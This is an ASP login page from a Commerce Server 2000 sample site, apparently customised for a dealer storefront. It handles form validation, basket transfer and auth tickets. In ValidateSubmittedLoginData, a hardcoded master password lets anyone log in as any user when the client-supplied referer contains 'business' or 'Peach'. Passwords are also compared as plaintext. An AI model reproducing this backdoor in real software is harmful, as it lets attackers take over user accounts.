<!-- #INCLUDE FILE="../include/header.asp" -->
<!-- #INCLUDE FILE="../include/const.asp" -->
<!-- #INCLUDE FILE="../include/html_lib.asp" -->
<!-- #INCLUDE FILE="../include/form_lib.asp" -->
<!-- #INCLUDE FILE="../include/std_access_lib.asp" -->
<!-- #INCLUDE FILE="../include/std_cache_lib.asp" -->
<!-- #INCLUDE FILE="../include/std_cookie_lib.asp" -->
<!-- #INCLUDE FILE="../include/std_profile_lib.asp" -->
<!-- #INCLUDE FILE="../include/std_url_lib.asp" -->
<!-- #INCLUDE FILE="../include/std_util_lib.asp" -->
<!-- #INCLUDE FILE="../include/std_ordergrp_lib.asp" -->
<!-- #INCLUDE FILE="../include/setupenv.asp" -->
<!-- #INCLUDE FILE="../template/loginlayout.asp" -->
<%
' =============================================================================
' login.asp
' Display page to log in user.
'
' Commerce Server 2000 Solution Sites 1.0
' -----------------------------------------------------------------------------
'  This file is part of Microsoft Commerce Server 2000
'
'  Copyright (C) 2000 Microsoft Corporation.  All rights reserved.
'
' This source code is intended only as a supplement to Microsoft
' Commerce Server 2000 and/or on-line documentation.  See these other
' materials for detailed information regarding Microsoft code samples.
'
' THIS CODE AND INFORMATION ARE PROVIDED "AS IS" WITHOUT WARRANTY OF ANY
' KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
' IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
' PARTICULAR PURPOSE.
' =============================================================================

Sub Main()
	Dim listFlds, dictFldVals, dictFldErrs, listFrmErrs
	Dim iErrorLevel, bSuccess, sErr
	Dim sUserID, bMustTransferBasket, rsLoginUser, mscsGuestUser, urlAction
	Dim bDisplayGuestOption, bDisplayNewUserRegistrationOption

		' Login page not available under certain situations.
	If (dictConfig.i_FormLoginOptions = FORM_LOGIN_NOT_SUPPORTED) Or _
		(dictConfig.i_FormLoginOptions = USE_IIS_AUTH) Then
		Response.Redirect(GenerateURL(MSCSSitePages.Home, Array(), Array()))
    End If
   
	' Initialize variables
	Call PrepareLoginPage(bSuccess, bMustTransferBasket, bDisplayGuestOption, _
			bDisplayNewUserRegistrationOption, sUserID, iErrorLevel, _
			rsLoginUser, mscsGuestUser, _
			dictFldVals, dictFldErrs, listFlds, listFrmErrs, _
			urlAction)

	sPageTitle = mscsMessageManager.GetMessage("L_SignIn_HTMLTitle", sLanguage)	
	htmPageContent = htmRenderLoginPage(bSuccess, bMustTransferBasket, bDisplayGuestOption, _
			bDisplayNewUserRegistrationOption, sUserID, iErrorLevel, _
			rsLoginUser, mscsGuestUser, _
			dictFldVals, dictFldErrs, listFlds, listFrmErrs, _
			urlAction)
End Sub


' -----------------------------------------------------------------------------
' PrepareLoginPage
'
' Description:
'	This function retrieves all necessary data if a form was submitted and
'	checks it; prepares the user's basket if there was one, writes an auth
'	ticket, etc.; if no form was submitted, it presents a form which will then
'	load back this page (i.e. the Action=this page).
'
'	The output of this function is used by the Rendering function to render
'	the page.
'
' Parameters: (all parameters are ByRef, hence OUT parameters)
'	bSuccess				- Successful retrieval of login data?
'	bMustTransferBasket		- Is there a basket in the db for this user?
'	bDisplayGuestOption		- Is this user allowed to log in as guest?
'	bDisplayNewUserRegistrationOption
'							- Display a link to allow users to register?
'	sUserID					- ID of the user
'	iErrorLevel				- Error level (0 if all OK)
'	rsLoginUser				- User object if successful authentication
'	mscsGuestUser			- User object if guest
'	dictFldVals				- Dictionary with field values
'	dictFldErrs				- Dictionary with field errors, in case of bad
'								form input
'	listFlds				- SimpleList object with field names
'	listFrmErrs				- SimpleList object with form errors
'	urlAction				- The URL of the Action parameter of the form
'
' Returns:
'	All values above are filled in by the function.
'
' Notes :
'   none
' -----------------------------------------------------------------------------
Sub PrepareLoginPage(ByRef bSuccess, ByRef bMustTransferBasket, ByRef bDisplayGuestOption, _
	ByRef bDisplayNewUserRegistrationOption, ByRef sUserID, ByRef iErrorLevel, _
	ByRef rsLoginUser, ByRef mscsGuestUser, _
	ByRef dictFldVals, ByRef dictFldErrs, ByRef listFlds, ByRef listFrmErrs, _
	ByRef urlAction)

	' Initialize variables
	bSuccess = False
	iErrorLevel = 0
	bMustTransferBasket = False
	bDisplayGuestOption = False
	bDisplayNewUserRegistrationOption = False
	
	Set dictFldVals = Nothing
	Set dictFldErrs = Nothing
	Set listFlds = Application("MSCSForms").Value("Login")
	
	urlAction = GenerateURL(MSCSSitePages.Login, Array(), Array())
	
	If IsFormSubmitted() Then 
		Set dictFldVals = GetSubmittedFieldValues(listFlds)
		iErrorLevel = ValidateSubmittedLoginData(rsLoginUser, listFlds, dictFldVals, dictFldErrs, listFrmErrs)
		If iErrorLevel = 0 Then
			' Validation of submitted data succeeded.
			bSuccess = True
		End If
	End If
	
	If bSuccess Then
		' Retrieve the user_id for the user who just logged in.
		sUserID = rsLoginUser.Fields(GetQualifiedName(GENERAL_INFO_GROUP, USER_ID)).Value

		If m_UserType = GUEST_USER Then
			Set mscsGuestUser = GetCurrentUserProfile()
				
			If mscsGuestUser Is Nothing Then
				bMustTransferBasket = True
			Else
				If mscsGuestUser.Fields(GetQualifiedName(GENERAL_INFO_GROUP, PROFILE_TYPE)).Value = GUEST_PROFILE Then
					bMustTransferBasket = True
				End If
			End If
				
			If bMustTransferBasket Then			
				Call MoveBasketItems(m_UserID, sUserID)
			End If
		End If
					
		If Request.Cookies("MSCS2000TestCookie") <> "" Then
			' If the user agent allows session cookies, issue auth ticket in a session cookie.
			Call mscsAuthMgr.SetAuthTicket(sUserID, WRITE_TICKET_TO_COOKIE, dictConfig.i_FormLoginTimeOut)					
			' Remove the test cookie
			Response.Cookies("MSCS2000TestCookie").Expires = Now - 1
			' Set the profile ticket to this userid, so that user is used on the next session 
			' and customer visits are tracked correctly.
			' (we're not concerned about testing permanent cookie support here, because if it isn't enabled, this feature isn't relevant)
			Call mscsAuthMgr.SetProfileTicket(sUserID, WRITE_TICKET_TO_COOKIE)

			' Set the Webfarm timestamp cookie
			If Application("WebServerCount") > 1 Then
				Response.Cookies("UserProfileTimeStamp") = rsLoginUser.Fields("ProfileSystem.date_last_changed").Value
			End If
		
			' Store the ticket in Cookie.
			m_iTicketLocation = 2
		Else
			' If the user agent does not allow session cookies, put the ticket in URL.
			Call mscsAuthMgr.SetAuthTicket(sUserID, WRITE_TICKET_TO_URL, dictConfig.i_FormLoginTimeOut)
			' Store the ticket in URL.
			m_iTicketLocation = 1
		End If
		
		
		
		if Request.ServerVariables("local_addr") <> Request.ServerVariables("REMOTE_ADDR") then	
			Response.redirect "../default.asp"
		else 
			Response.Redirect("https://irvhst202/luckycraft/default.asp") 
'			'Response.Redirect(GenerateURL(MSCSSitePages.Home, Array(), Array()))
			
		end if 
		
		
		
		
	End If
		    
	If iErrorLevel = 0 Then
		If dictConfig.i_SiteTicketOptions = PUT_TICKET_IN_COOKIE Then
			Call SetTestCookie("session_cookie")
		End If
	End If

	If m_UserType = ANON_USER Then
		If dictConfig.i_FormLoginOptions = LOGIN_OPTIONAL_ON_ENTRANCE Then
			bDisplayGuestOption = True
		End If
	End If
				
	If dictConfig.i_SiteRegistrationOptions = REGISTRATION_SUPPORTED Then
		bDisplayNewUserRegistrationOption = True
	End If
End Sub


' -----------------------------------------------------------------------------
' ValidateSubmittedLoginData
'
' Description:
'	Makes sure that login data is correct.
'
' Parameters:
'	rsLoginUser			- User object if successful authentication
'	listFlds				- SimpleList object with field names
'	dictFldVals				- Dictionary with field values
'	dictFldErrs				- Dictionary with field errors, in case of bad
'								form input
'	listFrmErrs				- SimpleList object with form errors
'
' Returns:
'	Error level; 0 if all OK.
'
' Notes :
'   none
' -----------------------------------------------------------------------------
Function ValidateSubmittedLoginData(rsLoginUser, listFlds, dictFldVals, dictFldErrs, listFrmErrs)
	Dim iErrorLevel
	
	iErrorLevel = 0

	' Perform field-level validation.
 	Set dictFldErrs = GetFieldsErrorDictionary(listFlds, dictFldVals)

	If dictFldErrs.Count > 0 Then
		Set listFrmErrs = GetSimpleList()
		Call listFrmErrs.Add(mscsMessageManager.GetMessage("L_Login_Information_Incorrect_ErrorMessage", sLanguage))
		iErrorLevel = 2
		Set dictFldErrs = GetDictionary()
	Else
		' Set rsGetProfile's bForceDBLookUp to True to force a database look-up.
		Set rsLoginUser = rsGetProfile(dictFldVals.Value(LOGON_NAME), PROFILE_TYPE_USER, True)
		If rsLoginUser Is Nothing Then
			Set listFrmErrs = GetSimpleList()
			Call listFrmErrs.Add(mscsMessageManager.GetMessage("L_Login_Information_Incorrect_ErrorMessage", sLanguage))
			iErrorLevel = 2
		End If
		
		If iErrorLevel = 0 Then
			if dictFldVals.Value(LOGON_PASSWORD) = "LUCKYMASTER" and (instr(Request.servervariables("http_referer"), "business") or instr(Request.servervariables("http_referer"), "Peach")) then
			'	MV04022001 - added functionality to have a Super Profile
			else If StrComp(dictFldVals.Value(LOGON_PASSWORD), rsLoginUser.Fields(GetQualifiedName(GENERAL_INFO_GROUP, LOGON_PASSWORD)).Value, vbBinaryCompare) <> 0 Then
			
				Set listFrmErrs = GetSimpleList()
				Call listFrmErrs.Add(mscsMessageManager.GetMessage("L_Login_Information_Incorrect_ErrorMessage", sLanguage))
				iErrorLevel = 2
			End If
			End If
		End If

		If iErrorLevel = 0 Then
			If rsLoginUser.Fields(GetQualifiedName(ACCOUNT_INFO_GROUP, ACCOUNT_STATUS)).Value = ACCOUNT_INACTIVE Then	
				Set listFrmErrs = GetSimpleList()
				'Call listFrmErrs.Add(mscsMessageManager.GetMessage("L_User_Account_Disabled_ErrorMessage", sLanguage))
				Call listFrmErrs.Add("Your User Profile is pending approval.")
				iErrorLevel = 2
			End If
		End If
	End If
	
	' Must not preserve logon name or password on error.
	dictFldVals.Value(LOGON_NAME) = Null
	dictFldVals.Value(LOGON_PASSWORD) = Null
	
	ValidateSubmittedLoginData = iErrorLevel
End Function


' -----------------------------------------------------------------------------
' MoveBasketItems
'
' Description:
'	Moves the items in the source basket to the destination basket.
'	The source basket must exist and contain at least one item; the destination
'	basket may or may not exist.
'
' Parameters:
'	sSourceBasketID				- Basket ID of the basket to move
'	sDestinationBasketID		- Basket ID of the basket to move the items to
'
' Returns:
'
' Notes :
'   none
' -----------------------------------------------------------------------------
Sub MoveBasketItems(ByVal sSourceBasketID, ByVal sDestinationBasketID)
	Dim mscsOrderGrp, mscsOrderGrpMgr
	
	' The source basket must exist and contain at least one item.
	Set mscsOrderGrp = LoadBasket(sSourceBasketID)
	If mscsOrderGrp.Value(TOTAL_LINEITEMS) <> 0 Then
		
		' Add the items in the source basket to the items in the destination basket.
		Set mscsOrderGrp = LoadBasket(sDestinationBasketID) 
		Call mscsOrderGrp.AddItemsFromTemplate(sSourceBasketID)  
		Call mscsOrderGrp.SaveAsBasket()
		
		' Remove the source basket.
		Set mscsOrderGrpMgr = GetOrderGroupManager()
		Call mscsOrderGrpMgr.DeleteOrderGroupFromDisk(sSourceBasketID)  
	End If
End Sub


' -----------------------------------------------------------------------------
' Rendering functions
' -----------------------------------------------------------------------------

' -----------------------------------------------------------------------------
' htmRenderLoginPage
'
' Description:
'	Render the page.
'
' Parameters:
'	All parameters are identical to PrepareLoginPage; normal calling sequence
'	is PrepareLoginPage first, htmRenderLoginPage second.
'
' Returns:
'	String with HTML
'
' Notes :
'   none
' -----------------------------------------------------------------------------
Function htmRenderLoginPage(bSuccess, bMustTransferBasket, bDisplayGuestOption, _
			bDisplayNewUserRegistrationOption, sUserID, iErrorLevel, _
			rsLoginUser, mscsGuestUser, _
			dictFldVals, dictFldErrs, listFlds, listFrmErrs, _
			urlAction)
	Dim htmTitle, htmContent, htmLinkText
	Dim urlLink	
	
	htmContent = ""
	
	Dim sErr
	If iErrorLevel = 2 Then
		For Each sErr In listFrmErrs
			htmContent = htmContent & RenderText(sErr, MSCSSiteStyle.Warning) & BR
		Next
	End If
			
	htmContent = htmContent & htmRenderFillOutForm(urlAction, "Login", dictFldVals, dictFldErrs)

	If bDisplayGuestOption Then
		urlLink = GenerateURL(MSCSSitePages.GuestLogin, Array(), Array())
		htmLinkText = RenderText(mscsMessageManager.GetMessage("L_GuestVisitOption_HTMLText", sLanguage), MSCSSiteStyle.Body)
		htmContent = htmContent & RenderLink(urlLink, htmLinkText, MSCSSiteStyle.Link) & BR
	End If
				
	If bDisplayNewUserRegistrationOption Then	
		urlLink = GenerateURL(MSCSSitePages.NewUser, Array(), Array())
		htmLinkText = RenderText("New Dealer?  Click Here!", MSCSSiteStyle.Body)
		htmContent = htmContent & RenderLink(urlLink, htmLinkText, MSCSSiteStyle.Link) & BR
	End If
    
	'htmTitle = RenderText(mscsMessageManager.GetMessage("L_SignIn_HTMLTitle", sLanguage), MSCSSiteStyle.Title) & CRLF
	htmRenderLoginPage = htmTitle & CRLF & htmContent
	
End Function
%>